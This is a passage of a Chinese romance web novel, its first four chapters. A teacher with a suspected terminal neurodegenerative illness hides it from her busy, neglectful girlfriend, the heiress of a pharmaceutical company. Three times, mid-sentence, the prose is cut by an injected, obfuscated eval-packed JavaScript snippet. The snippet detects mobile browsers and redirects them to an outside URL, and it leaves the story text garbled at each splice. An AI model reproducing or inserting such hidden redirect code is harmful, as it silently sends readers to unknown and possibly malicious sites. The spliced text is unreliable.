《假死后，负心前女友疯执了》 1. 第 1 章 · “春宴，听我一句劝，你这个情况不能再拖了，必须马上住院。” 窗明几净的医生办公室里，四面都是惨白的墙。 偏偏有一堵墙上沾着一小抹红，像蚊子血，不断拉扯着人的视觉，混合着微晃的秋阳，彻底刺痛了祝春宴的眼。 她缓慢将目光从墙上收了回来，看向眼前主治自己的医生傅意安，也是她的高中同学，声音平静：“我患的病……是不是家族遗传病？成活率只有1%的绝症？” “春宴，现在根据你的情况……暂时无法查明具体病因，不一定是你所认为的家族遗传病。” 傅意安几近不敢与她对视，心里也是悬着晃着挣扎着，但还是稳住自己的声线尽可能平和地告诉她：“你的肺部也发现了一团不大的阴影……不论如何，都要住院的。” “但是，这消息不一定是坏事，甚至有可能是好事……春宴，现在还不到灰心的时候，你要振作起来。” 祝春宴听着她的话完全陷入了沉默，垂着眼睫，并没有再作声。 良久，她看着体检报告上所说明的结论看着十分明确，其实很是不明的诊断结果：疑似罹患神经退行性疾病，不可逆转，需尽早入院进行进一步检查和治疗。 神经退行性的疾病有很多种，但无一例外，最后都是致人运动机能退化，各种肌无力、肌肉萎缩的症状接踵而来，最后或许会因为呼吸困难而悄无声息地死去。 祝春宴能料想到的是，或许她患上的是最严重的那种。 这种情况下，即使住院……也于事无补，因为现时的科技不仅无法查明这种疾病的病因，更别提有什么有效的治疗方法。 还有的是，她真的住院了……黎漾又该怎么办？ 现在正是她事业的上升期，她是家族企业，看似光鲜亮丽，实则家族内部的权力斗争严重，现在都已经到了白热化的阶段，成败在此一举。 她并不能因为自己这样未明的疾病而让她分心。 就只是……她的肺部有阴影的话，或许的确需要治疗。 “春宴，你还有什么好顾虑的？你现在是身体出了问题，必须要治疗的，情况或许没你想象的那么糟糕。” 傅意安虽然是祝春宴的高中同学，但她们本来并不太熟悉，后来……因为祝春宴阿姨的病她要经常来医院，傅意安的妈妈也是医生，两人才逐渐熟悉起来。 身为她的高中同学，她又何尝不知祝春宴身上发生的事情？ 毕竟那黎大小姐居然真的为了祝春宴而放弃了一整片海洋，两个看着毫不相干的人真的走到了现在。 至今七年。 起码，在外人面前看着……她们之间的感情还是好的，甚至是让人艳羡的。 只是，傅意安将祝春宴数次看诊都是自己单独来的事情看得清清楚楚，黎漾……始终是忽略她太多。 “我再考虑一下。” 祝春宴没有沉默太久，按住还在不断跳动着的左臂上的肌肉，无声地，却让人胆寒恐惧。 她知道的是，这永无休止的肌肉肉跳像一声声急促的鼓点不断地催促着她，让她知道她生命倒计时已经开启，正在一分一秒地流逝。 “你……你再考虑什么？”傅意安错愕，没想到居然得来这样的答案。 看着她惯常性按住左上臂肌肉的动作，又是一句重话说不出来，“春宴，你该知道的，有些病早治疗早控制……你现在更应该担心的是自己。” 祝春宴知道她是为了自己好，她朋友不多，傅意安算一个，她拿着自己的检查报告站了起来，对她笑了笑，“谢谢。” 又是拿出了一袋手工烘焙的小熊饼干递给她：“我学校里的小朋友刚刚烘好的，味道比上次有了很大的进步，你可以尝一尝。” “春宴……” “好了，我先走了，你也要好好休息。” 她语气轻松，丝毫看不出被检查出罹患绝症甚至有肺癌，看得傅意安眼眶微热。 ——明知道患的是绝症，在生命的最后还有治的必要吗？ 祝春宴从医生办公室里出来之后，坐在医院公园的长椅上发了很久的呆。 该来的始终来了，她其实还能接受。即使体检报告上病因含糊，可她从很久之前便知道……她可能活不长。 所以前27年才如此努力地活着。 现在该愁的是如何告知黎漾这件事情，黎漾……最喜欢在她面前哭鼻子，动不动就哭鼻子，如果她知道了这件事情的话，不知道会如何伤心。 或许……她不该将这件事情告诉她，而是用自己剩余的生命一直陪着她，直至不得不离开她，她再离开……这可能会好点。 祝春宴不喜欢别离，尤其是这样……告别了不会再见面的别离更加让人难以面对。 这一刻，她很想黎漾，只要搂一搂她这个世界就会变好了。 她从挎包里拿出手机来，看见学校里有老师给她打了电话，生怕是什么急事先回拨过去处理。 待听明白来龙去脉之后，发现并不是大事才松了一口气，顺便告诉对方这些事情的处理方法。 等聊完了这些话题之后，对面的老师才小心翼翼地问道：“祝老师，你……身体检查的结果出来了么？应该没什么大事？” “怎么？不会是连我请的半天假都要剥削掉让我回去工作了？”祝春宴半开玩笑地对她说道。 “不是……我……我们只是关心你的身体而已。” “比较不幸的是，我接下来……或许会休一个挺长时间的假期了。” 祝春宴的口吻还是比较轻松，丝毫没察觉对面听闻这个堪比“噩耗”消息的年轻老师是什么思绪。 她挂断了电话，看着不远处那栋高耸入云独属于黎氏医药的大厦，心态又恢复平稳，就算是不治之症又如何？只要黎漾在她身边……山海皆可平。 她打开了和黎漾的置顶对话框，删删减减编辑了一行文字：【宝宝，今晚回来吃饭，给你做大餐。】 再三确认文字没问题、语气也没问题之后才发送出去，便开始思索今晚给黎漾做什么好吃的。 丝毫忽略了她和黎漾的最后一次对话是在三天前，还是她单方面发送内容给她，她一个字没回复。 祝春宴发送完信息之后没有立即离开，而是盯着对话框看了好一会儿，期待对方能秒回。 只是，5分钟过去了，丝毫没有动静。 ——她太忙了。 心里响起了这个声音似乎习以为常，她不再等待，将手上的检查报告整理好放到挎包里，打算回家之后用碎纸机碎掉。 或许……真的没必要让黎漾知道不是吗？就让她开开心心地走完人生最后一程，陪着她。 祝春宴是开车来的医院，虽然她左上臂的肌肉群不断地跳动，不错过一分一秒、日以继夜地彰显着存在感，无时无刻告诉她即将不久于人世，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262399|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在还算是病发的早期，她还是能开车。 等病发中期……她的左手可能就开始不能动了，肌肉也继而萎缩，直至最后……到生活不能自理的地步，变成一张画皮离开人世。 到那个时候……她肯定很丑吧？ 她亲阿姨是这个病走了的，抛弃了她十几年的妈妈……也是这个病走的……再早之前，在她小时候，最疼爱她的外婆……最后也是变成一张薄薄的、了无生气的画皮走的。 现在轮到她了，依然无法摆脱既定命运。 祝春宴突然觉得浑身发冷，抑制不住的恐惧涌上心头，促使她要马上来到黎漾面前见一见她、搂一搂她来获取安慰。 黎漾……是她在这个世界上唯一还留恋的存在，是她还活着的意义。 可她冷静下来之后，又是看了一眼手机，黎漾依然没有回复她，她便知道她肯定在忙，她没必要因为一些小事打扰她。 祝春宴启动引擎前往菜市场买各种肉和菜，计划……剩余的这大概半年的人生和黎漾好好度过。 她的心情又恢复平静了，忽略肌肉束不断震颤，从外表上来看她也是一个健康没生病的人。 ……就让她好好伪装完这最后一段不多的时间吧。 * 晚上7点30，祝春宴已经回到她和黎漾一起居住的家，并且做了一大桌丰富的饭菜。 虽然只有两个人吃，但是黎漾非常讲究仪式感，所以每一碟菜都弄得异常精致，看着就很有食欲。 黎漾还没有回复，祝春宴担心她又因为忙而胃病复发，将每一道菜都找好角度拍好发过去，希望她能快点回来，菜凉了就不好吃了。 “叮咚——” “漾总，你的私人手机又响了，是祝小姐发来的，这次发了十来张饭菜的照片……大概是让你赶紧回去吃饭。” 黎氏医药集团所在的大厦，灯火通明，寸金寸土所折射出的纸醉金迷艳煞人眼。 23楼，黎漾刚开完会出来就听见秘书这般说，却是连看都没看手机，只问道：“今晚有什么行程？” “程氏地产那边举行了一个慈善晚会，程氏大小姐邀请了我们过去，有可能……跟我们商量联姻的事情。”秘书向暖看着时间：“如果要去赴宴的话，现在差不多要出发了。” 黎漾几乎想都没想：“好，我们现在就出发。” “那……祝小姐这边不管了？”向暖看着手机屏幕上那几道明显十分用心去做的菜肴，还是问道。 “她做的菜每天都能吃到，但是程氏地产……难得邀约，城南那块地……我想拿下来建实验室，而且，赵家那个小作精也在接触程氏，我们可不能落后。” 黎漾根本不在意祝春宴花了好几个小时给她做的饭菜，直至最后都没有看一眼：“回绝掉吧。” “……是的，漾总。”向暖没有多说，只是心头还是暗叹一声，学着黎漾平时的语气发送了【不吃了。】这句话过去，然后立即熄灭了手机屏幕不敢看了。 15分钟后，祝春宴喂完她和黎漾共同养的狗狗多宝回来，看见对话框上静静地躺着“不吃了”这三个字，眼里的光暗了下来。 与此同时，也看见热搜推送给她的一则桃色八卦。 上面黎漾换了一袭最新季的晚礼服，正对着另外一名同样穿着光鲜晚礼服的女子笑得妩媚而愉悦。 那笑容夺目而刺眼……是祝春宴很久没从她脸上看见过的鲜妍笑容。 2. 第 2 章 · #爆！程氏集团大小姐与黎氏医药集团最得宠千金历史性会晤！好事近了！下月就要联姻结婚了？# 热搜界面上给祝春宴展现的又是这样吸引人眼球劲爆的营销号风格的标题，她看了一眼直接忽略。 内心虽然谈不上毫无波澜，但她刚认识黎漾的时候便知道她是一个特别有同性缘、异性缘的人，喜欢她的人不知道有多少，黎漾本人喜欢过的人……其实也不知道有多少。 只是那些都是过去的事情了，黎漾和她在一起之后没有再拈花惹草。 这些带着营销号性质的新闻大多数都是假的，虽然看着的确让人不舒服，可那些的确是子虚乌有的事情。 她不必太过放在心上。 祝春宴点开热搜照片来看，发现这是刚拍不久新鲜出炉的照片，黎漾虽然换了一套晚礼服，可她戴着的海蓝宝耳环没有换，手上的腕表也没有换，她每天佩戴的饰物都是她帮她搭配和准备的，她清楚得很。 她看着手机上这张她和程氏大小姐合影的照片良久，最终还是关掉，再看见V信置顶对话框里“不吃了”那三个字的时候，心脏好像被轻轻割了一刀。 “嗷呜~” 多宝似乎感知到她的情绪变化，从外面庭院里进来蹭她的掌心，希望她能开心点。 起风了，祝春宴咳了几声，牵扯着肺部拉扯般疼痛，她缓了缓，挼了挼多宝的狗头，笑道：“还好有你陪我。” 多宝似乎听明白了她的话，将从房间里缓慢爬出来的金钱龟岁岁也扒拉到她面前，意思是不止它一只狗陪着她，还有金钱龟也陪着她呢。 “好啦，我也该吃饭了，不必守着我，”她看着满桌丰盛没人动过的饭菜喃喃：“幸亏多做了一些，明天不用早起做午饭，可以睡得久一点了。” 只是原本吃饭的期待和欲望完全没了，她捧着半碗饭对着灯光孤独地吃了些。 饭后，祝春宴并没有等黎漾，而是先去洗了澡，通常这种大型慈善宴会……黎漾都会去到很晚才回来，肯定会喝很多酒，所以解酒汤还是得给她备着。 别墅很大，空荡荡的，她和黎漾都不怎么喜欢有外人在，佣人只会白天无人的时候过来打扫收拾，晚上就只剩下她们了。 祝春宴打开房门，看着外面昏暗的走廊，灯光将她的影子拉得很长，多宝担心她一直呆在她身边，但世界依然像个巨大的风口，寂静地呼啸而过，连同她的身体也一起穿过。 她快要死了……她也……很想念黎漾。 * 凌晨2点，别墅外面才有了动静。 祝春宴煮好解酒汤之后突然感到一阵头晕，肺部的症状也随着夜风起来，撕心裂肺地咳了一会儿，她没有力气再到二楼卧室，而是和衣侧躺在沙发上，在剧烈的咳嗽声中睡了过去。 多宝寸步不离地守着她，听见门外的动静立即“吠”了一声。 神奇的是，祝春宴在外面停了车子之后便立即醒来，仿佛调了特定程序的机器人，黎漾一回家她就能清晰感知到，无论多晚……无论她睡得又是多沉。 黎漾果然喝了很多还醉了，祝春宴还未等她下车便从客厅打开了门出来，深秋夜凉，她穿得单薄，硬生生打了个激灵，喉间差点抑制不住咳意。 但她还是忍下去，拿了外套将刚下车的黎漾裹住，嗅到她满身的酒气，喉咙又开始不舒服了，她并没有展现出来，而是将她打横抱起到怀里，一步步往里走。 左手臂上肌肉的跳动依然十分明显，祝春宴庆幸自己现在肌肉只是刚刚开始萎缩，离彻底没有力气还有一段时间，她还能抱得起黎漾。 只是黎漾被她抱在怀里好像又轻了，她禁不住埋怨道：“之前答应我好好吃饭不喝酒的，好不容易将胃养好了不少又不听话了。” 黎漾舒服地窝在她怀里，看着她那张唇形完美却没多少血色的唇在喋喋不休，忽而觉得她有些烦，她在外面辛辛苦苦喝酒参宴谈生意可不是为了回家又听见她数落的。 尤其是今晚程氏那位千金和赵家那个小作精都一样难缠，让人头疼。 她捂住了她的嘴，全然没发现伴侣的体温比以往都要高一点，说出口的话比深秋的风还要寒凉：“你以为我想这样？形势所迫，和你互换一天生活，你坐我的位置试一试？” 祝春宴赫然住了嘴，微微睁大了眼睛看向她复又垂下了眼睫，她没再说话也没看她，而是稳稳地将她抱到客厅的沙发里，去厨房端了一直温着的醒酒汤出来给她，又是拧了热毛巾帮她敷脸。 黎漾坐在沙发上看她忙出忙进一时半刻没作声，她捧着醒酒汤喝了几口这才清醒了几分，想起自己刚刚对她说的话有些懊恼，拉住她的手让她坐下别再忙活：“小宴姐姐，刚刚……我喝醉了，你别放在心上。” “没放在心上，”祝春宴一听她叫自己“姐姐”就心软，她比黎漾大了一年，她叫她姐姐也是应该，她缓了下面色，唇边抹开一抹笑意，帮她掖了掖鬓发：“你之前也跟我说过的你最近是事业关键期，自然要着紧点。” “你都不知道今晚那个程素熙还有赵颂雅多难对付。”黎漾见她并没有真的生气这才微松一口气，转而说起自己今晚遇到的事情，语气也多了几分娇嗔。 她一向都知道祝春宴是一个极好的聆听对象，她长了一张极其耐看的脸，肤白像脂玉，眸如点漆，眉骨高面容深邃，偏偏眼神柔软，像是画中人，即使看了这么多年她还没有腻。 尤其是她说话时候她专注注视着她眼睛时候的模样，她完全没有抵抗力。 她重新窝到她的怀里微微仰头看着她，孩子气似地皱了皱眉心：“我想要城南那块地，但是赵颂雅也想要，让程素熙这个房地产商的大小姐有机会将自己的身价提高，像看乐子似地看着我们在明枪暗战，酒水都不知道喝了多少，仍然不给一个表态。” “还是在你身边好，你都不会闹我。” 她说着便拉下了祝春宴的肩膀想要吻她，只是唇到了她的唇边又像是想起了什么那般停住了，对上她的眼睛问道：“我还有很大的酒气么？” 祝春宴明白她的意思，没回答，而是以实际行动低头亲了亲她，解酒汤的味道残留在她的唇角，更多的还是……她口腔里各种名贵酒水的呛鼻气味。 黎漾是一个活得十分精致和体面的人，虽然也会闹脾气和撒娇，可她并不喜欢在她面前展现失礼和无礼。 刚刚那句问话大抵是怕她嫌弃她口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262400|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腔的味道不好闻，她就不好亲她了。 可是…… 黎漾逐渐沉沦在祝春宴给予她的热吻之中，唇舌勾缠，光怪陆离，让人看着天边的月亮都模糊。 她在她怀里似乎更醉了，醉得……从头到尾都忘记了……她的小宴姐姐对酒精有严重过敏。 …… 祝春宴将黎漾安顿好之后再一看时间已经是凌晨三点多了，她重新选了一套睡衣去冲了个澡。 在浴室里剥了两颗过敏药吃了，摸了摸自己的额头好像有点发烧，忘记了过敏药和发烧药能不能一起吃，她索性不吃发烧药，而是直接洗了个澡。 只是，看着手背上起的点点红疹，她知道自己还是迟了一步。 都不知道多久没如此直接地接触过酒精了，都怪她，不应该因为太过思念而忘记了先吃过敏药再接触黎漾。 幸亏黎漾今晚忘记了她对酒精过敏，不然她知道后肯定又要自责。 祝春宴没将过敏当作一回事，现在这个点她也睡不着，尤其是左臂上的肌肉不断跳动着，不疼，只是日以继夜地提醒她，她的生命真的没多少了。 现在……还有心思去睡觉么？不趁着夜深人静、无人打扰的时候去多做一些事情？ 她幸运的话……可能还有半年时间陪黎漾，而且，或许也要她去早点接受她将来会不在的事实。 祝春宴十分彷徨，她在世的亲人寥寥无几，好友也不算很多，她无法和任何人商量，不知道该如何妥善去处理自己患上绝症这件事情。 如果允许她任性点的话，她只想和黎漾过好这最后的每一天，每一分每一秒都要过好，不留遗憾。 这样，即使她将来不在，黎漾也能更好地从她的死亡中走出来。 今晚见她熬得这么辛苦她还是心疼了，平时黎漾不这么喝酒的，能不能入主黎氏的股东会和董事会真正掌握权力，对她而言是真的很重要。 她不能输。 如此一想，她倒是不必将她生病的事情告诉她……如果她还记得问起的话，到时候再说。 祝春宴做好了决定顿时轻松了，她侧头看着熟睡的黎漾俯身亲了亲她的额头，只留了一盏夜灯便去了书房写余生计划，写得不亦乐乎。 临近天明，她还意犹未尽，看着日出耀光四射，橘红色光芒笼罩大地，她按了按还在不断跳动的左臂肌肉群，知道自己的寿命又少了一天。 但是不要紧，她还有黎漾。 她提前一些回到她们的卧室，生怕黎漾醒来知道她熬了一整晚夜，想要及时睡下，看见黎漾的手机亮了，有人给她发来信息。 她不小心输入了自己的指纹开了屏幕，看见一张照片，一行文字。 【你送给我的这套项链我很喜欢，谢谢。有时间……再单独约出来喝一杯？[心动.jpg]]】 发信息给她的人是那位程氏大小姐程素熙，她脖颈上戴着一条祖母绿色蛇形衔尾造型的珠宝项链。 正是不久前黎漾想要在拍卖会上拍买下来给她做订婚礼物的伊丽莎白宝格丽祖母绿配钻石项链。 现在，她从别人的脖颈上看见。 祝春宴只觉肌肉跳动得牵扯得她的心脏都有些疼了。 3. 第 3 章 · 祝春宴没看这条信息多久，若无其事地放好了她的手机，重新躺到黎漾身边，侧头静静地看着她。 她一晚上没睡，被窝是冷的，黎漾身上的热度也传不过来，明明她笑起来的时候那么温暖，即使闭眼入睡，恬静的模样还是让人想起盛开在暖阳之下的花。 可她还是感觉不了一点温暖。 或许她也该庆幸……黎漾当初说要和她订婚的事情是假的，只是和她开玩笑罢了，不然现在以她的身体……也不知道会如何收场。 祝春宴又说服自己了，忽略心脏的那点疼痛……以及喉间几乎压抑不住的咳意，她闭上了眼睛，打算歇息片刻。 但是没歇一会儿，黎漾便醒了，祝春宴几乎同一时间睁开眼睛，那双熬红了的眼睛静静地看着她，随后还是绽放出一抹笑意，她像往常那般笑着对她道早安：“漾漾，早。” “春宴……早。”黎漾分明有些宿醉，捂住自己发疼的额头，微蹙了眉，“我昨晚是不是喝了很多酒？” “是有些多。” 祝春宴看着她如此不适的模样又是心软，黎漾从小到大都是被宠大的，家里有钱，经常为所欲为，没和她在一起的时候，她朋友就非常多，交友圈子也十分广，像是喝酒这些不在话下。 后来和她在一起之后，知道她其实不烟不酒……也就逐渐改了点，酒量自然有所下降，昨晚许是真的高兴坏了才多喝了点。 她端来一杯温水喂给她喝，主动让她靠在自己的怀里，帮她按压太阳穴和附近的穴道，让她放松放松。 黎漾逐渐觉得自己舒服了，这才有时间回头去打量祝春宴，和她好好说上几句话。 “小宴姐姐，你……身体是不是也不太舒服？”她现在感知回笼，才察觉到祝春宴的体温似乎要比平时都高点，略带了点紧张打量她。 “只是有些发烧而已，估计着凉了，多喝几杯热水就能好。”她盯着自己的手背，酒精过敏已经退了，待会儿就能吃点退烧药了。 “你最近的身体……是不是差了不少？上次说左臂不舒服，现在还好吗？”黎漾这段时间是真的忙，虽然和祝春宴每天都有见面，但是相处谈心的时间真的不多。 现在一听她说自己发烧了，立即探了探她的额头，摸了摸她的手臂，一副担心的模样。 “你关心我之前也要好好照顾自己，最近你喝酒也喝得有些多了，事业固然重要，但是身体也一样重要。” 祝春宴轻轻岔开了话题，语气带了点严肃地对她说道。 “噗嗤——”黎漾看了她好一会儿没看出她一些什么来，最终还是忍不住笑出声来：“小宴姐姐，你真的很适合教书育人，我妈妈都不会这么管我，你比我妈妈更加像妈妈。” 类似这样的话祝春宴听了其实不止一次，通常黎漾这样对她说的话，就代表她听这些都听腻了，让她以后别再说了。 连她妈妈都不会这样管她，她一个女朋友……凭什么这样管她？ 可是，她其实也不是管她……她只是怕有些话现在不说，以后都没机会说罢了。 祝春宴没沉浸在那样消沉的情绪里多久，而是继续轻松问道：“早餐想吃什么？我给你弄？” “我想吃粥，窝蛋牛肉粥，你最擅长做的那款。” 黎漾挨在她的肩上轻轻亲了亲她的脸，想起昨天祝春宴做了一大桌丰盛的晚饭让她回去吃，但她并没有回。 她知道祝春宴做事情从来都是精益求精的，昨晚她没回来的话就意味着她要一个人解决一整桌的饭菜…… 想到这里她又是有些歉意，握紧了她的手说道：“昨晚我没能回来，真的对不起。” “不接受口头上的道歉。” “那……我家宴宴要我怎么样补偿你？”黎漾难得见她提要求，禁不住双手圈住她的肩膀，故意凑她很近，气息氤氲，一种引诱的姿态。 祝春宴倒是离她远了一点儿，生怕自己过了病气给她：“等你忙完了我们去看极光你说好不好？” “你能走得开？” 祝春宴从小到大读书成绩都非常好，高中时候每次都考级里第一，读的大学更加是国内数一数二的，虽然家境不如她，可她毕业之后至今，事业可谓是蒸蒸日上。 不仅是多所特殊学校的首席专家，更加是大学里的老师，今年如果顺利的话都能升副教授了。 所以，其实祝春宴可一点儿都不比她空闲。 现在她突然提出这个要求……不知怎地，黎漾总觉得她有什么瞒住自己。 “我现在马上请假去都行，就看你的时间啦。”祝春宴笑着说道，看不出什么异样。 “怎么突然兴致这么大想着去旅行？”黎漾离开她的怀抱下了床，拿起床头祝春宴早已经帮她搭配好的衣裙，解了睡裙边换边问道。 祝春宴缓缓移开自己的目光，知道黎漾可能又要没时间，但她还是想为自己争取一下，说不定这可能是她最后一次和黎漾去旅行了。 她不希望……黎漾将来想起自己满是遗憾。 “我们好像已经很久没一起去过旅行了，最后一次旅行三年前的夏天，我想和你多点时间单独相处罢了。” 黎漾扣内衣扣的手微微一顿，从穿衣镜里看向祝春宴，看见她耳廓不知何时起了一抹红晕，羞的。 她其实也觉得奇怪，两人之间都认识了这么多年，坦诚相待这么多次，但是每次她这样换衣服或是不经意在她面前卖弄风情的时候，她总会避讳，继而脸红。 在床上的时候……也是温柔得一塌糊涂，时间长了，总觉得好像少了些滋味。 黎漾想起祝春宴，突然有些迷茫，大脑也有些空白，好像已经想不起来自己为什么要和她在一起，她又有什么吸引她的地方。 这样克己复礼到骨子里的性子……和她喜欢的类型实在是有很大的不同。 只是，这样的暂时性空白并不妨碍她逗弄她。 她故意不好好穿衣服突然凑到她面前，袒露大片雪白的肌肤，隐隐能嗅到特别的幽香，更加让人心猿意马。 她微微抬了她的下颌看向她，调笑道：“祝老师，你怎么不抬头看着我说话？求人……不是应该有诚意点么？” “漾漾别闹，我还病着呢。”祝春宴垂了视线的确不太敢看她，太过美好的东西在她手里总容易破碎，她总害怕要失去黎漾。 “啧，我看你下次又拿什么当借口？”黎漾知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262401|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为自己好，但是胡闹一两次又有什么的？这么严肃正经真的无趣。 “总之，等你忙完了，我们就去一次旅行吧。”祝春宴抬手帮她掩了掩故意大开的领子，姣好的身材一览无遗，她手一顿，终是红了脸帮她将衬衣的所有扣子都给扣好。 一颗都不放过。 “小古板。”黎漾知道她的处事风格，捏了捏她的手指，自己解开了两颗扣子。 虽然……如果按照七年前她还没有和她在一起的时候，她会解开三颗扣子，她有卖弄的资本，何必遮遮掩掩？ 祝春宴……终归是改变了她太多了。 祝春宴随后也在洗漱后到楼下给她准备早餐，其实现在弄窝蛋牛肉粥已经不够时间了，只是顾忌着黎漾的胃不太好，她还是熬了一锅粥给她。 今天黎漾应该不用这么早去公司，毕竟昨晚闹到快3点才睡觉。 她也不是这样委屈自己的人，所以迟点吃粥的话还是可以的。 等粥熬上之后她又是将昨晚的剩饭剩菜都拿出来，祝春宴小时候饿过肚子，分外珍惜食物，能不浪费绝不浪费。 她打算等解冻一会儿，待会儿再翻热带去特殊学校当午饭吃。 “嗷呜~”多宝早已起床，乖巧地蹲在她身边，等着她带她遛它。 多宝今年五岁，已经很熟悉祝春宴的生活习惯了，它好像也习惯了另外一个主人时常不在的情况。 明明在它的记忆里，是另外一位主人提出要将它带回去，约定好要和眼前的这位主人一起养大它和照顾它。 只是信守承诺的人……最后只剩下眼前的这一个主人。 “多宝早啊~我今天有些发烧，可能跑不了太快，你可要体谅体谅我哦。”祝春宴每天都会雷打不动遛狗起码2次，早上一次晚上一次，从不间断。 从前黎漾没那么忙的时候会和她一起遛狗、喂狗，带着狗勾一起出去玩，也会带着狗勾去医院一起看病，了解狗勾所有的知识。 只是，不知道从何时起，两个人的事情只剩下她一个人去做。 不过不要紧，之后……黎漾想不养多宝都难了，既然养了它就要对它一辈子负责。 她命不长了，现在也只是她连同黎漾的那份去照顾它而已，将来黎漾迟早要还回来的。 这样一想，祝春宴又平静地接受了。 她带着多宝出去了，经过温室花房的时候留意了一下那株娇贵的沙炽星，是当年她和黎漾刚在一起没多久黎漾花了极大力气从国外进口回来的花。 这种花花期在1-5月，花朵像是绸缎般内敛而漂亮，要么不开花，一开花总会将所有人的注意力都吸引过去。 说是沙漠里的星星的确不为过。 黎漾当时为什么要养这样的花？因为她说沙炽星很像她，她说爱人如养花，她要将她养得好好的，也要将这株像她的花也养得好好的。 从她们刚在一起时养，养到天荒地老。 只是，呵护花的人还在，许下承诺的人……早已遗忘了这株花。 祝春宴良久看着这株花，突然一口鲜血咳了出来，撕心裂肺地，鲜红夺目透着不祥。 毫无征兆地，她的病……怕是要加重了。 4. 第 4 章 · “嗷呜——” 祝春宴这口血吐得实在是太过突然，她伸手想要去接住却是吐脏了面前的沙炽星，就连掌心都变得脏污。 幸亏她今天穿的是黑色的运动服，即使溅到了血迹也不明显，她觉得并没有多大问题。 就是可惜了她每天都用心养护的沙炽星，现在还没有开花却染上了如此不祥的气息。 祝春宴无法不强迫自己去多想，她……大概可能真的要没命了，无时无刻地，不提醒着她是一个将死之人。 “嗷呜呜~” 多宝十分担心她，不断用脑袋去拱她，尾巴也焦躁地甩啊甩的，希望能将她的情绪给扯回来。 “多宝我没事，你别担心，我将叶子擦干净就能带你去遛弯。” 祝春宴随身携带了轻薄的小帕子，也顾不得将自己的手擦干净，先将沙炽星的叶子给擦干净，然后才带着多宝去晨跑。 祝春宴其实很累，可是她知道现在不好好运动的话以后可能连抬腿的力气都没有，她不想让自己将来后悔。 所以即使跑得慢她还是放松去跑，就是难为多宝跟着她一起跑得慢。 耳机里播放着黎漾学生时代最喜欢听的歌，说来奇怪的是，原以为黎漾这样张扬不受束缚的个性应该会很喜欢听那些风格刺激的歌，毕竟她交往的朋友大多数是这一类。 但是黎漾高三时候第一次成为她的同桌给她分出的一半耳机里面放着是一首慢调子的老歌，英文歌。 她能听明白歌词大意，说的是一段暗恋无疾而终的故事，黎漾当然不希望她也像歌里那样。 等那首歌播放完之后，她十分直白地趴在她的肘弯上仰着小半张妍丽又具有攻击性的脸看着她，指尖戳了戳她的手臂：“你不会让我也失恋的吧？” 当时祝春宴真的无心恋爱，更何况，像是她这样的父母离异、从小寄人篱下的穷学生，更加输不起。 所以她并没有回答黎漾这个问题，因为这个问题也根本无需回答。 后来大二她们在一起之后，那一晚她又找到这首歌来听，谈不清这是为什么，明明是一首寓意十分不好的歌，她听了之后总觉得内心平静。 虽然这是黎漾最喜欢的歌之一，可是黎漾现在也没多少时间再听歌了。 她太忙了。 祝春宴隐隐察觉出她们之间的关系出了一些小毛病，毕竟……她们相识11年，在一起7年，不论是7还是11都是极长的一段时间，对双方都是一个考验。 她觉得，或许自己近段时间做得真的不够好，以至于不能给黎漾新鲜感了。 黎漾是一个很喜欢激情，也很喜欢新鲜事物的人，即使现在工作了几年之后成熟了依然是这样。 她觉得自己很应该要找一些办法或者用一些巧妙的手段去维护一下这段感情。 祝春宴在自己生命最后的这段时间里，最放不下的始终是黎漾。 黎漾对她的感情比她对黎漾的要多出很多很多，她只希望自己在生命即将燃尽之际能好好地陪她。 这样，或许她们彼此之间都不会留有遗憾。 祝春宴脑海里多了些事情去琢磨之后，连这变得堪称折磨的晨跑都变得好上很多了。 只是跑了大概十来分钟，黎漾给她打来电话，单刀直入地询问：“祝老师，流理台上摆着的糖醋里脊可以吃么？” “一大早的，你又偷偷给我做好吃的？下次就不要这么辛苦了，尤其是你还病着。” 语气一如既往带了点揶揄和调笑，绵软的语调钻进人的耳膜里，总让人觉得耳膜发痒，连呼吸都要放轻。 只是祝春宴现在无心和她调情，甚至觉得心脏原本镂空的洞变得更大了点，空荡荡的，持续漏着风。 黎漾昨晚不仅没回来吃饭，甚至没亲眼去看她给她发的信息，因为从她的话里不难得出，她根本不知道这是她昨晚就给她做好的饭菜。 一滴泪突然从祝春宴的眼眶处落了下来，毫无预兆地。 鼻子酸得厉害，黎漾在那边听不见她的回答又是半开玩笑地追问：“不会是要给你的同事带而一块都不能留给我吧？” 祝春宴有中午带饭的习惯，当然是自己在家里做好再带去特殊学校或是大学做午饭。 她的同事无一例外都很喜欢她的手艺，如果做的分量刚刚好而她又想蹭饭的时候，她就会这般对她说。 那时候还因为这样的事情而吃过醋，为什么给她的同事带都不给她留一些？ 